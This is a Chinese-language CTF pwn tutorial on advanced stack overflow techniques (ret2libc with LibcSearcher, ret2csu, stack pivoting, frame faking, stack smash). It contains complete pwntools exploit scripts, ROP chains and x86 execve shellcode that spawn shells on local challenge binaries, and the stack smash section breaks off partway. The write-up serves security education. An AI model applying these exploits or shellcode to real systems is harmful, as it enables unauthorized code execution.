PWN-栈溢出入门-进阶篇

PWN-栈溢出入门-进阶篇

Scroll Down

最近花了一段时间深入学习了ctf-wiki中pwn部分,重点学习了其中关于栈溢出相关的知识,并接着Sven分享的栈溢出入门-基础篇,整理了下最近学习的知识点为本进阶篇,推荐组合阅读。

常规栈溢出攻略步骤

  • 找到漏洞点。
  • 动态调试,计算偏移量。
  • 基于偏移覆盖返回地址,执行rop,泄露关键函数地址,如有必要,制造重复利用该漏洞的机会。
  • 基于已泄露关键函数地址,找到对应的libc版本(同时也就知道了 execve system /bin/sh 的地址)。
  • 已取得getshell所需的前置数据,执行getshell。

先基于基础篇讲下ret2libc的进阶解法,涉及到如何利用LibcSearcher解决未知libc版本的方法。

1_ret2libc

基于pwn-wiki-ret2libc课后题 2013-PlaidCTF-ropasaurusrex 为例,看下程序中找不到 bin/sh system 时的解决方式。

首先,查看安全保护

➜  # checksec ropasaurusrex
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

可以看出,源程序开启了堆栈不可执行保护。查看源码,发现read是明显的漏洞

ssize_t __cdecl main()
{
  sub_80483F4();
  return write(1, "WIN\n", 4u);
}

ssize_t sub_80483F4()
{
  char buf; // [esp+10h] [ebp-88h]

  return read(0, &buf, 0x100u);
}

那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的12位并不会发生改变。而 libc 在github上有人进行收集,如下

所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system函数的地址。

那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。

我们自然可以根据上面的步骤先得到 libc,之后在程序中查询偏移,然后再次获取 system 地址,但这样手工操作次数太多,有点麻烦,这里就用到了 LibcSearcher ,它可以基于泄露的函数地址查询相应libc版本,并供我们利用,具体细节请参考 readme

此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。

这里我们泄露 write 的地址。基本利用思路如下

  • 计算偏移
  • 泄露 write 地址
  • 获取 libc 版本
  • 获取 system 地址与 /bin/sh 的地址
  • 再次执行源程序
  • 触发栈溢出执行 system('/bin/sh')

exp 如下

# coding=utf-8
#!/usr/bin/env python
from pwn import *
from LibcSearcher import *

context.log_level = 'DEBUG'
sh = process('/mnt/hgfs/ShareDir/ctf/share/1_ret2libc/ropasaurusrex')
elf = ELF('/mnt/hgfs/ShareDir/ctf/share/1_ret2libc/ropasaurusrex')

print "--------get offset--------"
offset = 0x88+0x4
write_got = elf.got['write']
write_plt = elf.plt['write']
func_addr = 0x080483F4

print "--------leak write addr and return to main again--------"
# write(1, write_got, 4)
payload = flat(['a'*offset,write_plt,func_addr,1,write_got,4])
sh.sendline(payload)
write_addr = u32(sh.recv(4))
print hex(write_addr)

print "--------get libc base addr--------"
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc.dump('system') + libc_base
binsh_addr = libc.dump('str_bin_sh') + libc_base

print "--------get shell--------"
payload1 = flat(["a"*offset,system_addr,0xdeadbeef,binsh_addr])
sh.sendline(payload1)
sh.interactive()

2_ret2csu

原理

在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的gadgets。 这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。我们先来看一下这个函数(当然,不同版本的这个函数有一定的区别)

.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0                 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near               ; DATA XREF: _start+16o
.text:00000000004005C0                 push    r15
.text:00000000004005C2                 push    r14
.text:00000000004005C4                 mov     r15d, edi
.text:00000000004005C7                 push    r13
.text:00000000004005C9                 push    r12
.text:00000000004005CB                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004005D2                 push    rbp
.text:00000000004005D3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA                 push    rbx
.text:00000000004005DB                 mov     r14, rsi
.text:00000000004005DE                 mov     r13, rdx
.text:00000000004005E1                 sub     rbp, r12
.text:00000000004005E4                 sub     rsp, 8
.text:00000000004005E8                 sar     rbp, 3
.text:00000000004005EC                 call    _init_proc
.text:00000000004005F1                 test    rbp, rbp
.text:00000000004005F4                 jz      short loc_400616
.text:00000000004005F6                 xor     ebx, ebx
.text:00000000004005F8                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    qword ptr [r12+rbx*8]
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn
.text:0000000000400624 __libc_csu_init endp

这里我们可以利用以下几点

  • 从 0x000000000040061A 一直到结尾,我们可以利用栈溢出构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15 寄存器的数据。
  • 从 0x0000000000400600 到 0x0000000000400609,我们可以将 r13 赋给 rdx,将 r14 赋给 rsi,将 r15d 赋给 edi(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0(自行调试),所以其实我们可以控制 rdi 寄存器的值,只不过只能控制低 32 位),而这三个寄存器,也是 x64 函数调用中传递的前三个寄存器。此外,如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址。
  • 从 0x000000000040060D 到 0x0000000000400614,我们可以控制 rbx 与 rbp 的之间的关系为rbx+1 = rbp,这样我们就不会执行 loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置rbx=0,rbp=1。

简单来讲我们会进行如下的调用方式

csu1

示例

这里我们以蒸米的一步一步学 ROP 之 linux_x64 篇中 level5 为例进行介绍。首先检查程序的安全保护

➜  ret2__libc_csu_init git:(iromise) ✗ checksec level5
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

程序为 64 位,开启了堆栈不可执行保护。

其次,寻找程序的漏洞,可以看出程序中有一个简单的栈溢出

ssize_t vulnerable_function()
{
  char buf; // [sp+0h] [bp-80h]@1

  return read(0, &buf, 0x200uLL);
}

简单浏览下程序,发现程序中既没有 system 函数地址,也没有 /bin/sh 字符串,所以两者都需要我们自己去构造了。

注:这里我尝试在我本机使用 system 函数来获取 shell 失败了,应该是环境变量的问题,所以这里使用的是execve 来获取 shell。

基本利用思路如下

  • 利用栈溢出执行 libc_csu_gadgets 获取 write 函数地址,并使得程序重新执行 main 函数
  • 根据 libcsearcher 获取对应 libc 版本以及 execve 函数地址
  • 再次利用栈溢出执行 libc_csu_gadgets 向 bss 段写入 execve 地址以及 '/bin/sh’ 地址,并使得程序重新执行main 函数。
  • 再次利用栈溢出执行 libc_csu_gadgets 执行 execve(‘/bin/sh’) 获取 shell。

exp 如下

from pwn import *
from LibcSearcher import *

# context.log_level = 'debug'

elf = ELF('/mnt/hgfs/ShareDir/ctf/share/2_ret2csu/level5')
sh = process('/mnt/hgfs/ShareDir/ctf/share/2_ret2csu/level5')

write_got = elf.got['write']
read_got = elf.got['read']
main_addr = elf.symbols['main']
bss_base = elf.bss()

csu_front_addr = 0x0000000000400600 # gadget 2.
csu_end_addr = 0x000000000040061A   # gadget 1.

fakeebp = 'b' * 8

def csu(rbx, rbp, r12, r13, r14, r15, last):

    # [gadget 1]
    # mov     rbx, [rsp+38h+var_30]
    # mov     rbp, [rsp+38h+var_28]
    # mov     r12, [rsp+38h+var_20]
    # mov     r13, [rsp+38h+var_18]
    # mov     r14, [rsp+38h+var_10]
    # mov     r15, [rsp+38h+var_8]
    # add     rsp, 38h
    # retn

    # [GADGET 2]
    # mov     rdx, r15
    # mov     rsi, r14
    # mov     edi, r13d
    # call    qword ptr [r12+rbx*8]
    # add     rbx, 1
    # cmp     rbx, rbp
    # jnz     short loc_4005F0

    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call

    # in my case, is the following case.
    # rdi=edi=r13d
    # rsi=r14
    # rdx=r15

    payload = 'a' * 0x80 + fakeebp # 0x80 offset to rbp, then 8 bytes to the ret_addr.
    
    ## put the address of the gadget 1
    payload += p64(csu_end_addr)
    payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    ## then put the address of the gadget 2, to call function
    payload += p64(csu_front_addr)
    payload += 'a' * 0x38 
    payload += p64(last)
    sh.send(payload)
    sleep(1)

sh.recvuntil('Hello, World\n')
## RDI, RSI, RDX, RCX, R8, R9, more on the stack
## write(1,write_got,8)
csu(0, 1, write_got, 8, write_got, 1, main_addr)

write_addr = u64(sh.recv(8))
log.success("write_addr: " + hex(write_addr))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr: ' + hex(execve_addr))

## read(0,bss_base,16)
## read execve_addr and /bin/sh\x00
sh.recvuntil('Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\x00')

## execve(bss_base+8, 0, 0)
sh.recvuntil('Hello, World\n')
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)

sh.interactive()

改进

在上面的时候,我们直接利用了这个通用 gadgets,其输入的字节长度为 128。但是,并不是所有的程序漏洞都可以让我们输入这么长的字节。那么当允许我们输入的字节数较少的时候,我们该怎么有什么办法呢?下面给出了几个方法

改进1 - 提前控制 rbx 与 rbp

可以看到在我们之前的利用中,我们利用这两个寄存器的值的主要是为了满足 cmp 的条件,并进行跳转。如果我们可以提前控制这两个数值,那么我们就可以减少 16 字节,即我们所需的字节数只需要112。

改进2-多次利用

其实,改进 1 也算是一种多次利用。我们可以看到我们的 gadgets 是分为两部分的,那么我们其实可以进行两次调用来达到的目的,以便于减少一次 gadgets 所需要的字节数。但这里的多次利用需要更加严格的条件

  • 漏洞可以被多次触发
  • 在两次触发之间,程序尚未修改 r12-r15 寄存器,这是因为要两次调用。

当然,有时候我们也会遇到一次性可以读入大量的字节,但是不允许漏洞再次利用的情况,这时候就需要我们一次性将所有的字节布置好,之后慢慢利用。

在上面的 libc_csu_init 中我们主要利用了以下寄存器

  • 利用尾部代码控制了rbx,rbp,r12,r13,r14,r15。
  • 利用中间部分的代码控制了rdx,rsi,edi。

而其实 libc_csu_init 的尾部通过偏移是可以控制其他寄存器的。其中,0x000000000040061A 是正常的起始地址,**可以看到我们在 0x000000000040061f 处可以控制 rbp 寄存器,在0x0000000000400621 处可以控制 rsi寄存器,而在距离0x000000000040061A偏移9个位置的地方可以控制rdi,在64位下这些偏移的大小是固定的,记住这些知识非常有用
。**而如果想要深入地了解这一部分的内容,就要对汇编指令中的每个字段进行更加透彻地理解。如下。

gef➤  x/5i 0x000000000040061A
   0x40061a <__libc_csu_init+90>:	pop    rbx
   0x40061b <__libc_csu_init+91>:	pop    rbp
   0x40061c <__libc_csu_init+92>:	pop    r12
   0x40061e <__libc_csu_init+94>:	pop    r13
   0x400620 <__libc_csu_init+96>:	pop    r14
gef➤  x/5i 0x000000000040061b
   0x40061b <__libc_csu_init+91>:	pop    rbp
   0x40061c <__libc_csu_init+92>:	pop    r12
   0x40061e <__libc_csu_init+94>:	pop    r13
   0x400620 <__libc_csu_init+96>:	pop    r14
   0x400622 <__libc_csu_init+98>:	pop    r15
gef➤  x/5i 0x000000000040061A+3
   0x40061d <__libc_csu_init+93>:	pop    rsp
   0x40061e <__libc_csu_init+94>:	pop    r13
   0x400620 <__libc_csu_init+96>:	pop    r14
   0x400622 <__libc_csu_init+98>:	pop    r15
   0x400624 <__libc_csu_init+100>:	ret
gef➤  x/5i 0x000000000040061e
   0x40061e <__libc_csu_init+94>:	pop    r13
   0x400620 <__libc_csu_init+96>:	pop    r14
   0x400622 <__libc_csu_init+98>:	pop    r15
   0x400624 <__libc_csu_init+100>:	ret
   0x400625:	nop
gef➤  x/5i 0x000000000040061f
   0x40061f <__libc_csu_init+95>:	pop    rbp
   0x400620 <__libc_csu_init+96>:	pop    r14
   0x400622 <__libc_csu_init+98>:	pop    r15
   0x400624 <__libc_csu_init+100>:	ret
   0x400625:	nop
gef➤  x/5i 0x0000000000400620
   0x400620 <__libc_csu_init+96>:	pop    r14
   0x400622 <__libc_csu_init+98>:	pop    r15
   0x400624 <__libc_csu_init+100>:	ret
   0x400625:	nop
   0x400626:	nop    WORD PTR cs:[rax+rax*1+0x0]
gef➤  x/5i 0x0000000000400621
   0x400621 <__libc_csu_init+97>:	pop    rsi
   0x400622 <__libc_csu_init+98>:	pop    r15
   0x400624 <__libc_csu_init+100>:	ret
   0x400625:	nop
gef➤  x/5i 0x000000000040061A+9
   0x400623 <__libc_csu_init+99>:	pop    rdi
   0x400624 <__libc_csu_init+100>:	ret
   0x400625:	nop
   0x400626:	nop    WORD PTR cs:[rax+rax*1+0x0]
   0x400630 <__libc_csu_fini>:	repz ret

3_stack pivoting

原理

stack pivoting,正如它所描述的,该技巧就是劫持栈指针指向攻击者所能控制的内存处,然后再在相应的位置进行 ROP。一般来说,我们可能在以下情况需要使用 stack pivoting

  • 可以控制的栈溢出的字节数较少,难以构造较长的 ROP 链
  • 开启了 PIE 保护,栈地址未知,我们可以将栈劫持到已知的区域。
  • 其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写 rop 及进行堆漏洞利用

此外,利用 stack pivoting 有以下几个要求

  • 可以控制程序执行流。

  • 可以控制 sp 指针。一般来说,控制栈指针会使用 ROP,常见的控制栈指针的 gadgets 一般是

pop rsp/esp

示例

这里我们以 X-CTF Quals 2016 - b0verfl0w 为例进行介绍。首先,查看程序的安全保护,如下

➜  X-CTF Quals 2016 - b0verfl0w git:(iromise) ✗ checksec b0verfl0w                 
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

可以看出源程序为 32 位,也没有开启 NX 保护,下面我们来找一下程序的漏洞

signed int vul()
{
  char s; // [sp+18h] [bp-20h]@1

  puts("\n======================");
  puts("\nWelcome to X-CTF 2016!");
  puts("\n======================");
  puts("What's your name?");
  fflush(stdout);
  fgets(&s, 50, stdin);
  printf("Hello %s.", &s);
  fflush(stdout);
  return 1;
}

可以看出,源程序存在栈溢出漏洞。但是其所能溢出的字节就只有 50-0x20-4=14 个字节,所以我们很难执行一些比较好的 ROP。这里我们就考虑 stack pivoting 。由于程序本身并没有开启堆栈保护,所以我们可以在栈上布置shellcode 并执行。基本利用思路如下

  • 利用栈溢出布置 shellcode
  • 控制 eip 指向 shellcode 处

第一步,还是比较容易地,直接读取即可,但是由于程序本身会开启 ASLR 保护,所以我们很难直接知道 shellcode 的地址。但是栈上相对偏移是固定的,所以我们可以利用栈溢出对 esp 进行操作,使其指向 shellcode 处,并且直接控制程序跳转至 esp处。那下面就是找控制程序跳转到 esp 处的 gadgets 了。

➜  X-CTF Quals 2016 - b0verfl0w git:(iromise) ✗ ROPgadget --binary b0verfl0w --only 'jmp|ret'         
Gadgets information
============================================================
0x08048504 : jmp esp
0x0804836a : ret
0x0804847e : ret 0xeac1

Unique gadgets found: 3

这里我们发现有一个可以直接跳转到 esp 的 gadgets。那么我们可以布置 payload 如下

shellcode|padding|fake ebp|0x08048504|set esp point to shellcode and jmp esp

那么我们 payload 中的最后一部分改如何设置 esp 呢,可以知道

  • size(shellcode+padding)=0x20
  • size(fake ebp)=0x4
  • size(0x08048504)=0x4

所以我们最后一段需要执行的指令就是

sub esp,0x28
jmp esp

完整过程如下图

stack1

所以最后的 exp 如下

from pwn import *
sh = process('/mnt/hgfs/ShareDir/ctf/share/3_stack_privot/b0verfl0w')

shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"

sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp = 0x08048504
payload = shellcode_x86 + (0x20 - len(shellcode_x86)) * 'b' + 'bbbb' + p32(jmp_esp) + sub_esp_jmp
sh.sendline(payload)
sh.interactive()


# ROPgadget --binary b0verfl0w --only 'pop|jmp|ret'
# Gadgets information
# ============================================================
# 0x080483ab : jmp 0x8048390
# 0x080484f2 : jmp 0x8048470
# 0x08048611 : jmp 0x8048620
# 0x08048504 : jmp esp
# 0x0804850c : pop ebp ; ret
# 0x0804860c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
# 0x08048381 : pop ebx ; ret
# 0x0804860e : pop edi ; pop ebp ; ret
# 0x0804860d : pop esi ; pop edi ; pop ebp ; ret
# 0x0804836a : ret
# 0x0804847e : ret 0xeac1

4_frame faking

正如这个技巧名字所说的那样,这个技巧就是构造一个虚假的栈帧来控制程序的执行流。

原理

概括地讲,我们在之前讲的栈溢出不外乎两种方式

  • 控制程序 EIP
  • 控制程序 EBP

其最终都是控制程序的执行流。在 frame faking 中,我们所利用的技巧便是同时控制 EBP 与 EIP,这样我们在控制程序执行流的同时,也改变程序栈帧的位置。一般来说其 payload 如下

buffer padding|fake ebp|leave ret addr|

即我们利用栈溢出将栈上构造为如上格式。这里我们主要讲下后面两个部分

  • 函数的返回地址被我们覆盖为执行 leave ret 的地址,这就表明了函数在正常执行完自己的 leave ret 后,还会再次执行一次 leave ret。
  • 其中 fake ebp 为我们构造的栈帧的基地址,需要注意的是这里是一个地址。一般来说我们构造的假的栈帧如下
fake ebp
|
v
ebp2|target function addr|leave ret addr|arg1|arg2

这里我们的 fake ebp 指向 ebp2,即它为 ebp2 所在的地址。通常来说,这里都是我们能够控制的可读的内容。

下面的汇编语法是 intel 语法。

在我们介绍基本的控制过程之前,我们还是有必要说一下,函数的入口点与出口点的基本操作

入口点

push ebp  # 将ebp压栈
mov ebp, esp #将esp的值赋给ebp

出口点

leave
ret #pop eip,弹出栈顶元素作为程序下一个执行地址

其中 leave 指令相当于

mov esp, ebp # 将ebp的值赋给esp
pop ebp # 弹出ebp

下面我们来仔细说一下基本的控制过程。

  1. 在有栈溢出的程序执行 leave 时,其分为两个步骤

    • mov esp, ebp ,这会将 esp 也指向当前栈溢出漏洞的 ebp 基地址处。
    • pop ebp, 这会将栈中存放的 fake ebp 的值赋给 ebp。即执行完指令之后,ebp便指向了ebp2,也就是保存了 ebp2 所在的地址。
  2. 执行 ret 指令,会再次执行 leave ret 指令。

  3. 执行 leave 指令,其分为两个步骤

    • mov esp, ebp ,这会将 esp 指向 ebp2。
    • pop ebp,此时,会将 ebp 的内容设置为 ebp2 的值,同时 esp 会指向 target function。
  4. 执行 ret 指令,这时候程序就会执行 target function,当其进行程序的时候会执行

    • push ebp,会将 ebp2 值压入栈中,

    • mov ebp, esp,将 ebp 指向当前基地址。

此时的栈结构如下

ebp
|
v
ebp2|leave ret addr|arg1|arg2
  1. 当程序执行时,其会正常申请空间,同时我们在栈上也安排了该函数对应的参数,所以程序会正常执行。

  2. 程序结束后,其又会执行两次 leave ret addr,所以如果我们在 ebp2 处布置好了对应的内容,那么我们就可以一直控制程序的执行流程。

stack_frame

可以看出在 fake frame 中,我们有一个需求就是,我们必须得有一块可以写的内存,并且我们还知道这块内存的地址,这一点与 stack pivoting 相似。

示例

以 2018 年 6 月安恒杯月赛的 over 一题为例进行介绍。

文件信息

over.over: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=99beb778a74c68e4ce1477b559391e860dd0e946, stripped
[*] '/home/m4x/pwn_repo/others_over/over.over'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

64 位动态链接的程序, 没有开 PIE 和 canary 保护, 但开了 NX 保护

分析程序

放到 IDA 中进行分析

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  while ( sub_400676() )
    ;
  return 0LL;
}

int sub_400676()
{
  char buf[80]; // [rsp+0h] [rbp-50h]

  memset(buf, 0, sizeof(buf));
  putchar('>');
  read(0, buf, 96uLL);
  return puts(buf);
}

漏洞很明显, read 能读入 96 位, 但 buf 的长度只有 80, 因此能覆盖 rbp 以及 ret addr 但也只能覆盖到 rbp 和 ret addr, 因此也只能通过同时控制 rbp 以及 ret addr 来进行 rop 了

leak stack

为了控制 rbp, 我们需要知道某些地址, 可以发现当输入的长度为 80 时, 由于 read 并不会给输入末尾补上 ‘\0’, rbp 的值就会被 puts 打印出来, 这样我们就可以通过固定偏移知道栈上所有位置的地址了

Breakpoint 1, 0x00000000004006b9 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────
 RAX  0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000')
 RBX  0x0
 RCX  0x7ff756e9b690 (__read_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x60
 RDI  0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000')
 RSI  0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000')
 R8   0x7ff75715b760 (_IO_stdfile_1_lock) ◂— 0x0
 R9   0x7ff757354700 ◂— 0x7ff757354700
 R10  0x37b
 R11  0x246
 R12  0x400580 ◂— xor    ebp, ebp
 R13  0x7ffceaf112b0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7ffceaf111b0 —▸ 0x7ffceaf111d0 —▸ 0x400730 ◂— push   r15
 RSP  0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000')
 RIP  0x4006b9 ◂— call   0x400530
─────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────
 ► 0x4006b9    call   puts@plt <0x400530>
        s: 0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000')

   0x4006be    leave
   0x4006bf    ret

   0x4006c0    push   rbp
   0x4006c1    mov    rbp, rsp
   0x4006c4    sub    rsp, 0x10
   0x4006c8    mov    dword ptr [rbp - 4], edi
   0x4006cb    mov    qword ptr [rbp - 0x10], rsi
   0x4006cf    mov    rax, qword ptr [rip + 0x20098a] <0x601060>
   0x4006d6    mov    ecx, 0
   0x4006db    mov    edx, 2
─────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────
00:0000│ rax rdi rsi rsp  0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000')
... ↓
───────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────
 ► f 0           4006b9
   f 1           400715
   f 2     7ff756de02b1 __libc_start_main+241
Breakpoint *0x4006B9
pwndbg> stack 15
00:0000│ rax rdi rsi rsp  0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000')
... ↓
0a:0050│ rbp              0x7ffceaf111b0 —▸ 0x7ffceaf111d0 —▸ 0x400730 ◂— push   r15
0b:0058│                  0x7ffceaf111b8 —▸ 0x400715 ◂— test   eax, eax
0c:0060│                  0x7ffceaf111c0 —▸ 0x7ffceaf112b8 —▸ 0x7ffceaf133db ◂— './over.over'
0d:0068│                  0x7ffceaf111c8 ◂— 0x100000000
0e:0070│                  0x7ffceaf111d0 —▸ 0x400730 ◂— push   r15
pwndbg> distance 0x7ffceaf111d0 0x7ffceaf11160
0x7ffceaf111d0->0x7ffceaf11160 is -0x70 bytes (-0xe words)

leak 出栈地址后, 我们就可以通过控制 rbp 为栈上的地址(如 0x7ffceaf11160), ret addr 为 leave ret 的地址来实现控制程序流程了。

比如我们可以在 0x7ffceaf11160 + 0x8 填上 leak libc 的 rop chain 并控制其返回到 sub_400676 函数来 leak libc。

然后在下一次利用时就可以通过 rop 执行 system("/bin/sh")execve("/bin/sh", 0, 0) 来 get shell 了, 这道题目因为输入的长度足够, 我们可以布置调用 execve("/bin/sh", 0, 0) 的利用链, 这种方法更稳妥(system("/bin/sh") 可能会因为 env 被破坏而失效), 不过由于利用过程中栈的结构会发生变化, 所以一些关键的偏移还需要通过调试来确定

exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
context.log_level = "debug"
context.binary = "/mnt/hgfs/ShareDir/ctf/share/4_fake_frame/over.over"

def DEBUG(cmd):
    raw_input("DEBUG: ")
    gdb.attach(io, cmd)

io = process("/mnt/hgfs/ShareDir/ctf/share/4_fake_frame/over.over")
#  DEBUG("b *0x4006B9\nc")
elf = ELF("/mnt/hgfs/ShareDir/ctf/share/4_fake_frame/over.over")
libc = elf.libc

io.sendafter(">", '0' * 80)
stack = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - 0x70
success("stack -> {:#x}".format(stack))
'''
others_over [master●●] ropper --file ./over.over --search "leave|ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: leave|ret

[INFO] File: ./over.over
0x00000000004007d0: ret 0xfffe; 
0x00000000004006be: leave; ret; 
0x0000000000400509: ret; 

0x0000000000400793 : pop rdi ; ret
'''

func_addr = 0x400676
leave_ret = 0x4006be
pop_rdi_ret = 0x400793

#  DEBUG("b *0x4006B9\nc")
io.sendafter(">", flat(['11111111', pop_rdi_ret, elf.got['puts'], elf.plt['puts'], func_addr, (80 - 40) * '1', stack, leave_ret]))
libc.address = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - libc.sym['puts']
success("libc.address -> {:#x}".format(libc.address))

io.sendafter(">", flat(['22222222', pop_rdi_ret, next(libc.search("/bin/sh")), libc.sym['system'], (80 - 40 + 8) * '2', stack - 0x30, leave_ret]))

io.interactive()
io.close()

这里需要解释一下为什么在执行getshell的时候,需要stack-0x30,降低栈的高度来引rsp。

stack - 0x30

这是因为,在第一次泄露puts@got函数地址,返回到带有漏洞的函数(即0x4000676)继续执行时,存在会改变rsp数值的操作。Rsp改变了,也就导致了溢出的数据做处的位置也发生了改变,如果不进行调整,将无法跳转到正确的位置。我们发现在0x4000676有两处操作改变了rsp的数值。

fake1

Push rbp, 我们得到stack + 40 -8 = stack +32  
Sub rsp, 50h, 我们得到stack + 32 – 0x50 = stack – 0x30

5_Stack smash

原理

在程序加了canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,程序就会执行 __stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名。其代码如下

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

所以说如果我们利用栈溢出覆盖 argv[0] 为我们想要输出的字符串的地址,那么在 __fortify_fail 函数中就会输出我们想要的信息。

示例

这里,我们以 2015 年 32C3 CTF readme 为例进行介绍。

确定保护

可以看出程序为 64 位,主要开启了 Canary 保护以及 NX 保护,以及 FORTIFY 保护。

➜  stacksmashes git:(master) ✗ checksec smashes
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

分析程序

ida 看一下

smashes1

很显然,程序在 _IO_gets((__int64)&v4); 存在栈溢出。

此外,程序中还提示要 overwrite flag。而且发现程序很有意思的在 while 循环之后执行了这条语句

  memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1));

又看了看对应地址的内容,可以发现如下内容,说明程序的flag就在这里。

.data:0000000000600D20 ; char aPctfHereSTheFl[]
.data:0000000000600D20 aPctfHereSTheFl db 'PCTF{Here',27h,'s the flag on server}',0

但是如果我们直接利用栈溢出输出该地址的内容是不可行的,这是因为我们读入的内容 byte_600D20[v1++] = v2;也恰恰就是该块内存,这会直接将其覆盖掉,这时候我们就需要利用一个技巧了

  • 在 ELF 内存映射时,bss 段会被映射两次,所以我们可以使用另一处的地址来进行输出,可以使用 gdb 的 find来进行查找。

确定 flag 地址

我们把断点下载 memset 函数处,然后读取相应的内容如下

gef➤  c
Continuing.
Hello!
What's your name? qqqqqqq
Nice to meet you, qqqqqqq.
Please overwrite the flag: 222222222

Breakpoint 1, __memset_avx2 () at ../sysdeps/x86_64/multiarch/memset-avx2.S:38
38	../sysdeps/x86_64/multiarch/memset-avx2.S: 没有那个文件或目录.
